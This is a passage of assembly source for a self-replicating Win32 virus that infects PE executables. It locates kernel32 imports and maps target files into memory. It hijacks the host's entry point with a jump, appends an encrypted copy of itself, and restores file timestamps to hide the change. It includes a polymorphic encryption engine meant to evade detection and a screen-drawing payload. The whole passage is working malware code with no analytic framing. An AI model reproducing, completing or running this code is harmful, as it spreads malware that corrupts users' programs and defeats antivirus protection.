Descriptor, abort + ;infection if not found + + mov ebx,eax + + ;ebx - Base address of host in memory + + ;Check for MZ signature at base address + + cld + cmp word ptr [ebx],IMAGE_DOS_SIGNATURE + jne err_checkfile + + ;Check file address of relocation table + + cmp word ptr [ebx+DH_lfarlc],0040h + jb err_checkfile + + ;Now go to the pe header and check for the PE signature + + mov esi,dword ptr [ebx+DH_lfanew] + add esi,ebx + lodsd + cmp eax,IMAGE_NT_SIGNATURE + jne err_checkfile + + ;Check machine field in IMAGE_FILE_HEADER + ;just allow i386 PE files + + cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386 + jne err_checkfile + + ;Now check the characteristics, look if file + ;is an executable + + mov ax,word ptr [esi+FH_Characteristics] + test ax,IMAGE_FILE_EXECUTABLE_IMAGE + jz err_checkfile + + ;Avoid DLL's + + test ax,IMAGE_FILE_DLL + jnz err_checkfile + + ;Get pointer to imports raw data + + mov edx,dword ptr [esi+OH_DataDirectory. \ + DE_Import. \ + DD_VirtualAddress+ \ + IMAGE_SIZEOF_FILE_HEADER] + + call RVA2RAW + jecxz err_checkfile + mov eax,ecx + +next_imd_img: ;Search for kernel32 through the array of imported + ;module descriptors + + lea edi,dword ptr [ebp+offset szKernel32] + mov esi,dword ptr [eax+ID_Name] + + ;Exit if the RVA to dll name doesnt exist + or esi,esi + jz err_checkfile + + ;Sub the delta offset + + sub esi,edx + + ;Get absolute address of dll name + + add esi,ebx + + ;Compare names + + mov ecx,00000008h + push eax + +dll_loop: ;Get character from name into imports + + lodsb + + ;Check if character is in lowercase + + cmp al,"a" + jb check_char + + ;Convert character to uppercase + + sub al,("a"-"A") + +check_char: ;Compare characters with our KERNEL32 string + + scasb + jne bad_dll + + loop dll_loop + +verify_ok: ;Name matched, get import module descriptor + + pop edi + + ;Mutate RVAs + + call mutate_rvas + + ;Avoid files with IMAGE_SCN_MEM_SHARED in its + ;last section attributes + + call get_last_sh + test dword ptr [edi+SH_Characteristics],IMAGE_SCN_MEM_SHARED + jnz err_checkfile + + ;Set ecx != NULL (success flag) + + xor ecx,ecx + not ecx + +SEH_error01: ;Remove structured exception handler + + xor edx,edx + pop dword ptr fs:[edx] + pop edx + + ;Error, restore base address + + pop eax + pop ebp + ret + +bad_dll: ;Go to next imported module descriptor + + pop eax + add eax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR + jmp short next_imd_img + + +;············································································ +;Find the place where PE saves some useful information +;············································································ + +mutate_rvas: ;Generate a copy of the virus into a buffer + ;This copy will contain some RVAs already + ;loaded (GetModuleHandle, GetProcAddress or Kernel32 + ;ID_ForwarderChain field) + ; + ;Entry: + ; + ;ebx - Base address for file + ;edx - Section delta offset + ;edi - Kernel32 Import Module Descriptor + ; + ;Exit: + ; + ;RVA's loaded into virus body (NULL if function not found) + ; + + ;Copy virus to infection buffer + + push edi + lea esi,dword ptr [ebp+Mem_Base] + lea edi,dword ptr [esi+mem_size] + mov ecx,inf_size-DECRYPTOR_SIZE + cld + rep movsb + pop edi + + ;Save rva to ID_ForwarderChain field + + lea eax,dword ptr [edi+ID_ForwarderChain] + sub eax,ebx + add eax,edx + mov dword ptr [ebp+rva_kernel32+mem_size],eax + + ;Check if file is binded + + mov eax,dword ptr [ebp+a_Kernel32] + mov esi,dword ptr[eax+IMAGE_DOS_HEADER.DH_lfanew] + add esi,eax + add esi,NT_FileHeader.FH_TimeDateStamp + lodsd + mov esi,dword ptr [edi+ID_FirstThunk] + sub esi,edx + add esi,ebx + cmp eax,dword ptr [edi+ID_TimeDateStamp] + je binded_file + + ;esi - Import Address Table for KERNEL32 + + ;Save RVA for GetModuleHandle + + push esi + lea edi,dword ptr [ebp+szGetModuleH] + call find_by_name + mov dword ptr [ebp+rva_GetModuleH+mem_size],eax + + ;Save RVA for GetProcAddress + + pop esi + lea edi,dword ptr [ebp+szGetProcAddr] + call find_by_name + mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax + + ret + +binded_file: ;esi - Import Address Table for KERNEL32 + + ;Binded GetModuleHandle + + push esi + mov edi,dword ptr [ebp+a_GetModuleH] + call find_by_address + mov dword ptr [ebp+rva_GetModuleH+mem_size],eax + + ;Binded GetProcAddress + + pop esi + mov edi,dword ptr [ebp+a_GetProcAddr] + call find_by_address + mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax + + ret + +;············································································ +;Get RVA of an API function in a binded file +;············································································ + +find_by_address:; + ;Entry: + ; + ;edx - Delta offset for last section + ;esi - Import Address Table for KERNEL32 + ;edi - Function entry point + ; + ;Exit: + ; + ;eax - RVA of function address (NULL if not found) + ; + +search_thunk: ;Check if this is the storage address + + lodsd + or eax,eax + jz err_by_address + cmp eax,edi + jne search_thunk + + ;Calculate the offset of that thunk dword into file + + lea eax,dword ptr [esi-00000004h] + sub eax,ebx + add eax,edx + ret + +err_by_address: xor eax,eax + ret + +;············································································ +;Find RVA of a function imported by name +;············································································ + +find_by_name: ; + ;Entry: + ; + ;edx - Delta offset for last section + ;esi - Import Address Table for KERNEL32 + ;edi - Function name + ; + ;Exit: + ; + ;eax - RVA of function address (NULL if not found) + ; + + ;Search for function name into IMAGE_IMPORT_BY_NAME + ;structure pointed by every dword in the thunk data array + +loop_by_name: ;Get address of IMAGE_IMPORT_BY_NAME structure + + lodsd + or eax,eax + jz err_by_name + + ;Get pointer to function name + + push esi + push edi + sub eax,edx + lea esi,dword ptr [eax+ebx+00000002h] + + ;Compare strings + +name_by_name: lodsb + or al,al + jz ok_by_name + scasb + je name_by_name + + ;Go to next entry into Import Address Table + + pop edi + pop esi + jmp loop_by_name + +ok_by_name: pop edi + pop esi + lea eax,dword ptr [esi-00000004h] + sub eax,ebx + add eax,edx +err_by_name: ret + +;············································································ +;Infection and mutation +;············································································ + +infect_file: ; + ;Entry: + ; + ;My_FindData - Win32 FindFile structure filled with data + ; about file to infect + ;eax - Base address of memory mapped image + ; + ;Exit: + ; + ;None + ; + + ;Get last section header + + mov ebx,eax + call get_last_sh + + ;ebx - Host base address + ;esi - IMAGE_OPTIONAL_HEADER + ;edi - Pointer to last section header + + ;This will help us later for calculating host base address + + mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + add eax,dword ptr [edi+SH_VirtualAddress] + sub eax,dword ptr [edi+SH_PointerToRawData] + add eax,init_size + mov dword ptr [ebp+fix_baseaddr+mem_size],eax + + ;Copy original code at entry point into our buffer + + mov edx,dword ptr [esi+OH_AddressOfEntryPoint] + mov dword ptr [ebp+rva_org_eip+mem_size],edx + call RVA2RAW + mov esi,ecx + lea edi,dword ptr [ebp+entry_code+mem_size] + mov ecx,BUFFER_EP + rep movsb + + ;Free memory mapped file + + mov eax,ebx + call unmap_close + + ;Add virus size to file size and re-map it + + mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + mov dword ptr [ebp+original_size],eax + add eax,inf_size + mov ecx,SIZE_PADDING + xor edx,edx + div ecx + inc eax + mul ecx + mov dword ptr [ebp+my_FindData.WFD_nFileSizeLow],eax + call open_map_file + or eax,eax + jnz done_re_open + stc + ret + +done_re_open: ;ebx - host base address all along the following code + + mov ebx,eax + + ;Initialize poly engine register table + ;We are going to insert some garbage code at host + ;entry-point, followed by a JMP to polymorphic + ;decryptor + ;This routine will also initialize random number + ;generator + + call init_poly + + ;Check for relocations over entry-point code + + call get_last_sh + mov edx,dword ptr [esi+OH_DataDirectory. \ + DE_BaseReloc. \ + DD_VirtualAddress] + + ;Lovely file, no relocations, so we cant generate + ;lots of polymorphic code at host entry-point + + or edx,edx + jz lovely_file + + call RVA2RAW + mov edi,esi + mov esi,ecx + + ;ebx - Host base address + ;ecx - Pointer to RAW data or NULL if error + ;edx - Section delta offset + ;esi - Pointer to section RAWDATA + ;edi - Pointer to IMAGE_OPTIONAL_HEADER + + ;Check relocations over host entry-point code + + call do_reloc_work + + ;We have space for inserting some garbage code? + + cmp eax,00000005h + jb fuxoring_file + + ;Another lovely file, eh? + + cmp eax,BUFFER_EP + jb ugly_file + +lovely_file: ;We reach this code for 3 posible reasons: + ; + ; 1) When the target file have no relocations or... + ; 2) All the relocations are behind the entry-point or... + ; 3) We have lots space from entry-point to 1st reloc + + ;Save number of bytes to restore at host entry-point + + mov dword ptr [ebp+insert_size+mem_size],BUFFER_EP + + ;Get RAW of entry-point + + call get_last_sh + mov edx,dword ptr [esi+OH_AddressOfEntryPoint] + call RVA2RAW + mov edi,ecx + + ;Generate a piece of polymorphic code at host entry-point + + push ebx + push edi + call gen_garbage + pop eax + sub eax,edi + pop ebx + + ;Insert a jump to virus code at entry point + + jmp short insert_jump + +ugly_file: ;There are no relocations over first five bytes of + ;code at host entry-point + ;So we can insert a JUMP to virus polymorphic decryptor + + ;Save size of code to generate + + mov dword ptr [ebp+insert_size+mem_size],00000005h + + ;Where to place the JUMP + + mov edx,dword ptr [edi+OH_AddressOfEntryPoint] + call RVA2RAW + mov edi,ecx + xor eax,eax + + ;Insert a jump to virus code at entry point + +insert_jump: push eax + mov al,0E9h + stosb + push edi + call get_last_sh + mov eax,dword ptr [ebp+original_size] + add eax,poly_decryptor-Mem_Base + sub eax,dword ptr [edi+SH_PointerToRawData] + add eax,dword ptr [edi+SH_VirtualAddress] + sub eax,dword ptr [esi+OH_AddressOfEntryPoint] + sub eax,00000005h + pop edi + pop edx + add eax,edx + stosd + + ;Execution continues on next routine + +;············································································ +;Attach virus to file +;············································································ + +back2infection: ;We fall here after the entry-point stuff + ;Complete infection and do polymorphic encryption + + ;Save current system time inside virus body + + lea eax,dword ptr [ebp+inf_time+mem_size] + push eax + call dword ptr [ebp+a_GetSysTime] + + ;Generate polymorphic encryption + + push ebx + call mutate + pop ebx + + ;Get pointer to last section + + call get_last_sh + + ;ebx - Host base address + ;esi - IMAGE_OPTIONAL_HEADER + ;edi - Pointer to last section header + + ;Get new SizeOfRawData and VirtualSize + + mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + add eax,mem_size-inf_size + sub eax,dword ptr [edi+SH_PointerToRawData] + mov edx,eax + cmp eax,dword ptr [edi+SH_VirtualSize] + jbe ok_VirtualSize + mov dword ptr [edi+SH_VirtualSize],eax +ok_VirtualSize: mov eax,edx + xor edx,edx + mov ecx,dword ptr [esi+OH_FileAlignment] + div ecx + inc eax + mul ecx + mov dword ptr [edi+SH_SizeOfRawData],eax + + ;Set section characteristics + + or dword ptr [edi+SH_Characteristics], \ + IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE + + ;Update OH_SizeOfImage + + mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + mov edx,dword ptr [esi+OH_SizeOfImage] + cmp eax,edx + jae done_image_s + lea eax,dword ptr [edx+mem_size] +done_image_s: xor edx,edx + mov ecx,dword ptr [esi+OH_SectionAlignment] + div ecx + inc eax + mul ecx + mov dword ptr [esi+OH_SizeOfImage],eax + + ;Write virus into memory mapped file + + mov ecx,inf_size + lea esi,dword ptr [ebp+Mem_Base+mem_size] + mov edi,ebx + add edi,dword ptr [ebp+original_size] + rep movsb + + ;Free memory mapped file + + mov eax,ebx + call unmap_close + + ;Exit, file is infected + + clc + ret + +;············································································ +;Get RAW of entry +;············································································ + +;············································································ +;Change the entry-point field in file header +;············································································ + +fuxoring_file: ;Well, after checking relocations for this file we + ;found that there is a relocation over the first + ;five bytes of host entry-point code + + ;Our buffer is ZERO bytes coz no code needs to be + ;restored on host execution + + xor eax,eax + mov dword ptr [ebp+insert_size+mem_size],eax + + ;Get the RVA for virus entry-point + + call get_last_sh + mov eax,dword ptr [ebp+original_size] + add eax,poly_decryptor-Mem_Base + add eax,dword ptr [edi+SH_VirtualAddress] + sub eax,dword ptr [edi+SH_PointerToRawData] + + ;Overwrite OH_AddressOfEntryPoint with the + ;virus entry point + + mov dword ptr [esi+OH_AddressOfEntryPoint],eax + jmp back2infection + +;············································································ +;Get pointer to last section header +;············································································ + +get_last_sh: ; + ;Entry: + ; + ;ebx - Host base address + ; + ;Exit: + ; + ;esi - IMAGE_OPTIONAL_HEADER + ;edi - Pointer to last section header + ; + + mov esi,dword ptr [ebx+DH_lfanew] + add esi,ebx + cld + lodsd + movzx ecx,word ptr [esi+FH_NumberOfSections] + dec ecx + mov eax,IMAGE_SIZEOF_SECTION_HEADER + mul ecx + movzx edx,word ptr [esi+FH_SizeOfOptionalHeader] + add esi,IMAGE_SIZEOF_FILE_HEADER + add eax,edx + add eax,esi + mov edi,eax + ret + +;············································································ +;Convert RVA to RAW +;············································································ + +RVA2RAW: ; + ;Entry: + ; + ;ebx - Host base address + ;edx - RVA to convert + ; + ;Exit: + ; + ;ecx - Pointer to RAW data or NULL if error + ;edx - Section delta offset + ;esi - Pointer to IMAGE_OPTIONAL_HEADER + ;edi - Pointer to section header + ; + + cld + mov dword ptr [ebp+search_raw],edx + mov esi,dword ptr [ebx+DH_lfanew] + add esi,ebx + lodsd + movzx ecx,word ptr [esi+FH_NumberOfSections] + jecxz err_RVA2RAW + movzx edi,word ptr [esi+FH_SizeOfOptionalHeader] + add esi,IMAGE_SIZEOF_FILE_HEADER + add edi,esi + + ;Get the IMAGE_SECTION_HEADER that contains RVA + ; + ;At this point: + ; + ;ebx - File base address + ;esi - Pointer to IMAGE_OPTIONAL_HEADER + ;edi - Pointer to first section header + ;ecx - Number of sections + +s_img_section: + ;Check if address of imports directory is inside this + ;section + + mov eax,dword ptr [ebp+search_raw] + mov edx,dword ptr [edi+SH_VirtualAddress] + sub eax,edx + cmp eax,dword ptr [edi+SH_VirtualSize] + jb section_ok + +out_of_section: ;Go to next section header + + add edi,IMAGE_SIZEOF_SECTION_HEADER + loop s_img_section +err_RVA2RAW: ret + +section_ok: ;Get raw + + mov ecx,dword ptr [edi+SH_PointerToRawData] + sub edx,ecx + add ecx,eax + add ecx,ebx + ret + +;············································································ +;Do needed relocation corrections over code at host entry-point +;············································································ + +do_reloc_work: ;Entry: + ; + ;ebx - host base address + ;esi - IMAGE_BASE_RELOCATION + ;edi - IMAGE_OPTIONAL_HEADER + ; + ;Exit: + ; + ;ecx - Space free of relocations at entry-point + ; + + ;Get IBR_VirtualAddress + + cld + lodsd + mov edx,eax + + ;Get IBR_SizeOfBlock + + lodsd + or eax,eax + jnz continue_reloc + + ;We have reached the last relocation and all of them + ;seem to refer to virtual addresses behind the host + ;entry-point, so we can generate lots of polymorphic + ;code there + + xor ecx,ecx + not ecx + ret + +continue_reloc: ;Get number of relocations in this block + + sub eax,IMAGE_SIZEOF_BASE_RELOCATION + shr eax,01h + mov ecx,eax + +rblock_loop: ;Get IBR_TypeOffset + + push ecx + xor eax,eax + lodsw + and ax,0FFFh + add eax,edx + cmp eax,dword ptr [edi+OH_AddressOfEntryPoint] + jae reloc_over_ep + +next_reloc: ;Follow relocations chain + + pop ecx + loop rblock_loop + jmp short do_reloc_work + +reloc_over_ep: ;Get number of bytes from entry-point to first relocation + + pop ecx + sub eax,dword ptr [edi+OH_AddressOfEntryPoint] + ret + +;············································································ +;Get entry point for GetProcAddress +;············································································ + +my_GetProcAddr: ; + ;Entry: + ; + ;a_Kernel32 - Base address for kernel32 + ; + ;Exit: + ; + ;eax - Entry point for GetProcAddress + ; or NULL if error + ; + + push ebx + + ;Check for MZ signature at base address + + cld + mov ebx,dword ptr [ebp+a_Kernel32] + cmp word ptr [ebx],IMAGE_DOS_SIGNATURE + jne e_GetProcAddr + + ;Now go to the pe header and check for the PE signature + + mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.DH_lfanew] + add esi,ebx + lodsd + cmp eax,IMAGE_NT_SIGNATURE + jne e_GetProcAddr + + ;Get pointer to Image Export Directory and save it + + add esi,NT_OptionalHeader. \ + OH_DirectoryEntries. \ + DE_Export. \ + DD_VirtualAddress-0004h + lodsd + add eax,ebx + push eax + + ;Get pointer to exported function names + ;Also follow the AddressOfNameOrdinals array + + mov ecx,dword ptr [eax+ED_NumberOfNames] + mov edx,dword ptr [eax+ED_AddressOfNameOrdinals] + add edx,ebx + lea esi,dword ptr [eax+ED_AddressOfNames] + lodsd + add eax,ebx + +next_name: ;Search for GetProcAddress in exported function names + + push ecx + lea esi,dword ptr [ebp+szGetProcAddr] + mov edi,dword ptr [eax] + or edi,edi + jz try_next + +got_name_rva: ;Get absolute address + + add edi,ebx + + ;Compare names + + mov ecx,0000000Eh + repe cmpsb + je found_name + +try_next: ;Go to next name + + add eax,00000004h + add edx,00000002h + pop ecx + loop next_name + + ;Name not found, exit with error + + pop eax + jmp short e_GetProcAddr + +found_name: ;Ok, now edx is the index of the function, so + ;lets look at AddressOfNameOrdinals using that index + + pop ecx + pop edi + + ;Get ordinal for function + + movzx eax,word ptr [edx] + + ;Check if ordinal out of range + + cmp eax,[edi+ED_NumberOfFunctions] + jae short e_GetProcAddr + + ;This is the starting export ordinal number + + sub eax,dword ptr [edi+ED_BaseOrdinal] + inc eax + shl eax,02h + + ;Get address of function + + mov esi,dword ptr [edi+ED_AddressOfFunctions] + add esi,eax + add esi,ebx + lodsd + add eax,ebx + pop ebx + ret + +e_GetProcAddr: ;GetProcAddress not found, exit with error + + xor eax,eax + pop ebx + ret + +;············································································ +;Get KERNEL32 module handle if we cant get it using GetModuleHandle +;············································································ + +my_getkernel: ;Get KERNEL32 base address using the ID_ForwarderChain + ; + ;Entry: + ; + ;ebx - Base address of host in memory + ; + ;Exit: + ; + ;eax - Kernel32 base address or NULL if error + ; + + ;Generate a mov esi,xxxx instruction + + db 0BEh + + ;This is just a rva that points to ID_ForwarderChain + ;field inside Kernel32 import module descriptor + +rva_kernel32 dd 00000000h + + ;Get Kernel32 entry point from ID_ForwarderChain + + add esi,ebx + lodsd + + ;Check for the MZ signature + + cmp word ptr [eax],IMAGE_DOS_SIGNATURE + jne err_getkernel + + ;Now go to the pe header and check for the PE signature + + mov esi,dword ptr [eax+DH_lfanew] + cmp dword ptr [esi+eax],IMAGE_NT_SIGNATURE + jne err_getkernel + + ret + +err_getkernel: ;Could not find KERNEL32 base addres :( + + xor eax,eax + ret + +;············································································ +;Get APIs entry point +;············································································ + +get_functions: ;Get the entry point for all KERNEL32 API functions + ;used by the virus + ; + ;Entry: + ; + ;None + ; + ;Exit: + ; + ;ecx - NULL if error + ; + + ;Dont fuck our host base address + + push ebx + + ;Get pointer to viral function names + + lea esi,dword ptr [ebp+viral_functions] + lea edi,dword ptr [ebp+viral_addresses] + + ;Get number of functions + + mov ecx,(offset viral_tbl_end-offset viral_functions)/04h + +get_each_ep: ;Get pointer to function name + + cld + lodsd + add eax,ebp + + ;Save counter and pointers + + push ecx + push esi + push edi + + ;Get entry point using GetProcAddress + + push eax + push dword ptr [ebp+a_Kernel32] + call dword ptr [ebp+a_GetProcAddr] + + ;Restore counter and pointers + + pop edi + pop esi + pop ecx + + ;Check if entry point is valid + + or eax,eax + jz exit_get_func + + ;Save function entry point + + cld + stosd + + ;Next function + + loop get_each_ep + +exit_get_func: ;Return, eax contains last function entry point or NULL + ;if error + + mov ecx,eax + pop ebx + ret + +;············································································ +;Open file and create it memory mapped image +;············································································ + +open_map_file: ; + ;Entry: + ; + ;my_FindData - FindData about file + ;szWorkDir - Buffer for path + name of file to infect + ; + ;Exit: + ; + ;eax - Base address of memory map for file + ; 00000000h if error + ; + + ;Reset attributes so we can get read/write access + ;to target file + + push FILE_ATTRIBUTE_NORMAL + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_SetFileAttr] + or eax,eax + jz exit_open_map + + ;Open existing file + + xor eax,eax + push eax + push FILE_ATTRIBUTE_NORMAL + push OPEN_EXISTING + push eax + push eax + push GENERIC_READ or GENERIC_WRITE + lea eax,dword ptr [ebp+szWorkDir] + push eax + lea eax,dword ptr [ebp+a_CreateFile] + call dword ptr [ebp+a_CreateFile] + cmp eax,INVALID_HANDLE_VALUE + je exit_open_map + + ;Create filemapping over file + + mov dword ptr [ebp+CreateFile_h],eax + xor eax,eax + push eax + push dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + push eax + push PAGE_READWRITE + push eax + push [ebp+CreateFile_h] + call dword ptr [ebp+a_CreateFileMap] + or eax,eax + jz Close_Create + + ;Map file in memory, get base address + + mov dword ptr [ebp+Mapping_h],eax + xor eax,eax + push dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + push eax + push eax + push FILE_MAP_WRITE + push [ebp+Mapping_h] + call dword ptr [ebp+a_MapViewOfFile] + or eax,eax + jz Close_Mapping + ret + +;············································································ +;Unmap memory mapped its associated file and close file handle +;············································································ + +unmap_close: ; + ;Entry: + ; + ;eax - File base address in memory + ; + ;Exit: + ; + ;None + ; + + push eax + call dword ptr [ebp+a_UnmapView] + +Close_Mapping: ;Close handle created by CreateFileMappingA + + push dword ptr [ebp+Mapping_h] + call dword ptr [ebp+a_CloseHandle] + +Close_Create: ;Restore file time + + lea eax,dword ptr [ebp+my_FindData.WFD_ftLastWriteTime] + mov edx,00000008h + push eax + sub eax,edx + push eax + sub eax,edx + push eax + push dword ptr [ebp+CreateFile_h] + call dword ptr [ebp+a_SetFileTime] + + ;Close handle created by CreateFileA + + push dword ptr [ebp+CreateFile_h] + call dword ptr [ebp+a_CloseHandle] + + ;Restore file attributes + + push dword ptr [ebp+my_FindData.WFD_dwFileAttributes] + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_SetFileAttr] + +exit_open_map: xor eax,eax + ret + +;············································································ +;Activation routine +;············································································ + +payload: ;Use LoadLibrary to get a valid handle over USER32.dll + + lea eax,dword ptr [ebp+szUSER32] + push eax + call dword ptr [ebp+a_LoadLibrary] + or eax,eax + jz exit_payload + mov dword ptr [ebp+a_User32],eax + + ;Get entry-point for LoadIcon + + lea edx,dword ptr [ebp+szLoadIcon] + push edx + push eax + call dword ptr [ebp+a_GetProcAddr] + or eax,eax + jz exit_payload + + ;Load custom icon + + push 32513 + xor edx,edx + push edx + call eax + or eax,eax + jz exit_payload + mov dword ptr [ebp+h_icon],eax + + ;Get entry-point for GetDC + + lea edx,dword ptr [ebp+szGetDC] + push edx + push dword ptr [ebp+a_User32] + call dword ptr [ebp+a_GetProcAddr] + or eax,eax + jz exit_payload + + ;Get device context for the screen + + xor edx,edx + push edx + call eax + or eax,eax + jz exit_payload + mov dword ptr [ebp+dc_screen],eax + + ;Get entry-point for DrawIcon + + lea edx,dword ptr [ebp+szDrawIcon] + push edx + push dword ptr [ebp+a_User32] + call dword ptr [ebp+a_GetProcAddr] + or eax,eax + jz exit_payload + + mov ecx,00000100h + +loop_payload: ;Draw some icons in random coordinates + + push eax + push ecx + mov edx,eax + push dword ptr [ebp+h_icon] + mov eax,00000800h + call get_rnd_range + push eax + mov eax,00000400h + call get_rnd_range + push eax + push dword ptr [ebp+dc_screen] + call edx + pop ecx + pop eax + loop loop_payload + + ;Print + +exit_payload: ret + +;············································································ +;Generate polymorphic encryption +;············································································ + +mutate: ;Initialize reg flags and random number generator + + call init_poly + + ;Select index reg + + call get_valid_reg + mov al,byte ptr [ebx+REG_MASK] + mov byte ptr [ebp+index_mask],al + or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX + + ;Select counter reg + + call get_valid_reg + mov al,byte ptr [ebx+REG_MASK] + mov byte ptr [ebp+counter_mask],al + or byte ptr [ebx+REG_FLAGS],REG_IS_COUNTER + + ;Get and save random displacement + ;Do not use any displacement if this field value is null + + call get_rnd32 + and eax,00000001h + jz ok_disp + call get_rnd32 +ok_disp: mov dword ptr [ebp+ptr_disp],eax + + ;Now get a random key + + call get_rnd32 + mov dword ptr [ebp+crypt_key],eax + + ;Now get some flags + + call get_rnd32 + mov byte ptr [ebp+build_flags],al + + ;Get size for INC/DEC procedures + + call get_rnd32 + and al,03h + cmp al,01h + je get_size_ok + cmp al,02h + je get_size_ok + inc al +get_size_ok: mov byte ptr [ebp+oper_size],al + + ;Where to put decryptor code + + lea edi,dword ptr [ebp+poly_decryptor+mem_size] + + ;Lets begin inserting some shit + + call gen_garbage + + ;Choose a random decryptor style + ;Each style uses the same build procedures, but + ;in diferent order + + mov eax,(end_styles-tbl_styles)/04h + call get_rnd_range + lea esi,dword ptr [ebp+tbl_styles+eax*04h] + lodsd + add eax,ebp + mov esi,eax + + ;Generator for decryptor styles + + ;Build initialization code + + mov ecx,00000003h + call gen_style_code + + ;Set the loop point in the middle of nowhere + + push esi + call gen_garbage + mov dword ptr [ebp+loop_point],edi + call gen_garbage + pop esi + + ;Build loop code + + mov ecx,00000004 + call gen_style_code + + ;Insert a jump to virus code + + mov al,0E9h + stosb + lea eax,dword ptr [ebp+Mem_Base+mem_size] + sub eax,edi + sub eax,00000004h + stosd + + ;Some garbage + + call gen_rnd_block + + ;Now do encryption + + lea edi,dword ptr [ebp+Mem_Base+mem_size] + call fixed_size2ecx +loop_hide_code: push ecx + mov eax,dword ptr [edi] + call perform_crypt + xor ecx,ecx + mov cl,byte ptr [ebp+oper_size] +loop_copy_res: stosb + shr eax,08h + loop loop_copy_res + pop ecx + loop loop_hide_code + + ;Exit polymorphic engine + + ret + +;············································································ +;Generator for decryptor styles +;············································································ + +gen_style_code: lodsd + add eax,ebp + push ecx + push esi + call eax + call gen_garbage + pop esi + pop ecx + loop gen_style_code + ret + +;············································································ +;Perform encryption +;············································································ + +perform_crypt: ;Place for encryption code + + db 10h dup (00h) + +;············································································ +;Generate decryptor action: Get delta offset +;············································································ + +gen_get_delta: ;This is the CALL opcode + + mov al,0E8h + stosb + + ;Save the place for the calling address + + stosd + mov dword ptr [ebp+delta_call],edi + push edi + + ;Generate some random data + + call gen_rnd_block + + ;Get displacement from CALL instruction to destination + ;address + + mov eax,edi + pop esi + sub eax,esi + + ;Put destination address after CALL opcode + + mov dword ptr [esi-00000004h],eax + + ;Generate some garbage code into destination address + + call gen_garbage + + ;Choose method + + mov eax,(end_delta_mode-tbl_delta_mode)/04h + call get_rnd_range + mov eax,dword ptr [ebp+tbl_delta_mode+eax*04h] + add eax,ebp + jmp eax + +delta_method_1: ;Generate: + ; + ; call get_delta + ; ... + ; get_delta: + ; ... + ; pop index_reg + ; ... + + call gen_pop_index + ret + +delta_method_2: ;Generate: + ; + ; call get_delta + ; ... + ; get_delta: + ; ... + ; pop reg_1 + ; ... + ; mov reg_index,reg_1 + ; ... + + call gen_pop_reg_1 + mov ah,byte ptr [ebp+index_mask] + shl ah,03h + or ah,byte ptr [ebx+REG_MASK] + or ah,0C0h + mov al,8Bh + stosw + ret + +delta_method_3: ;Generate: + ; + ; call get_delta + ; ... + ; get_delta: + ; ... + ; pop reg_1 + ; ... + ; push reg_1 + ; ... + ; pop reg_index + ; ... + + call gen_pop_reg_1 + mov al,50h + or al,byte ptr [ebx+REG_MASK] + stosb + call gen_garbage + call gen_pop_index + ret + +gen_pop_index: ;Generate pop reg_index + garbage + + mov al,58h + or al,byte ptr [ebp+index_mask] + stosb + call gen_garbage + ret + +gen_pop_reg_1: ;Generate pop reg_1 + garbage + + call get_valid_reg + mov al,58h + or al,byte ptr [ebx+REG_MASK] + stosb + or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + push ebx + call gen_garbage + pop ebx + + ;Restore aux reg state + + xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + + ret + +;············································································ +;Generate decryptor action: Fix pointer +;············································································ + +gen_fix_ptr: ;Get displacement + offset of code to decrypt + + lea eax,dword ptr [ebp+Mem_Base+mem_size] + add eax,dword ptr [ebp+ptr_disp] + sub eax,dword ptr [ebp+delta_call] + + ;Check direction + + test byte ptr [ebp+build_flags],CRYPT_DIRECTION + jz fix_dir_ok + + ;Direction is from top to bottom + + push eax + call fixed_size2ecx + xor eax,eax + mov al,byte ptr [ebp+oper_size] + push eax + mul ecx + pop ecx + sub eax,ecx + pop ecx + add eax,ecx +fix_dir_ok: push eax + + ;Fix using ADD or SUB + + call get_rnd32 + and al,01h + jz fix_with_sub + +fix_with_add: ;Generate ADD reg_index,fix_value + + mov ax,0C081h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + jmp short fix_done + +fix_with_sub: ;Generate SUB reg_index,-fix_value + + mov ax,0E881h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + neg eax + +fix_done: stosd + ret + +;············································································ +;Generate decryptor action: Load counter +;············································································ + +gen_load_ctr: ;Easy now, just move counter random initial value + ;into counter reg and calc end_value + + mov al,0B8h + or al,byte ptr [ebp+counter_mask] + stosb + call fixed_size2ecx + call get_rnd32 + stosd + test byte ptr [ebp+build_flags],CRYPT_CDIR + jnz counter_down +counter_up: add eax,ecx + jmp short done_ctr_dir +counter_down: sub eax,ecx +done_ctr_dir: mov dword ptr [ebp+end_value],eax + ret + +;············································································ +;Generate decryptor action: Decrypt +;············································································ + +gen_decrypt: ;Check if we are going to use a displacement + + mov eax,dword ptr [ebp+ptr_disp] + or eax,eax + jnz more_complex + + ;Choose generator for [reg] indexing mode + + mov edx,offset tbl_idx_reg + call choose_magic + jmp you_got_it + +more_complex: ;More fun?!?! + + mov al,byte ptr [ebp+build_flags] + test al,CRYPT_SIMPLEX + jnz crypt_xtended + + ;Choose generator for [reg+imm] indexing mode + + mov edx,offset tbl_dis_reg + call choose_magic + +you_got_it: ;Use magic to convert some values into + ;desired instructions + + call size_correct + mov dl,byte ptr [ebp+index_mask] + lodsb + or al,al + jnz adn_reg_01 + cmp dl,00000101b + je adn_reg_02 +adn_reg_01: lodsb + or al,dl + stosb + jmp common_part +adn_reg_02: lodsb + add al,45h + xor ah,ah + stosw + jmp common_part + +crypt_xtended: ;Choose [reg+reg] or [reg+reg+disp] + + test al,CRYPT_COMPLEX + jz ok_complex + + ;Get random displacement from current displacement + ;eeehh?!? + + mov eax,00000010h + call get_rnd_range + sub dword ptr [ebp+ptr_disp],eax + call load_aux + push ebx + call gen_garbage + + 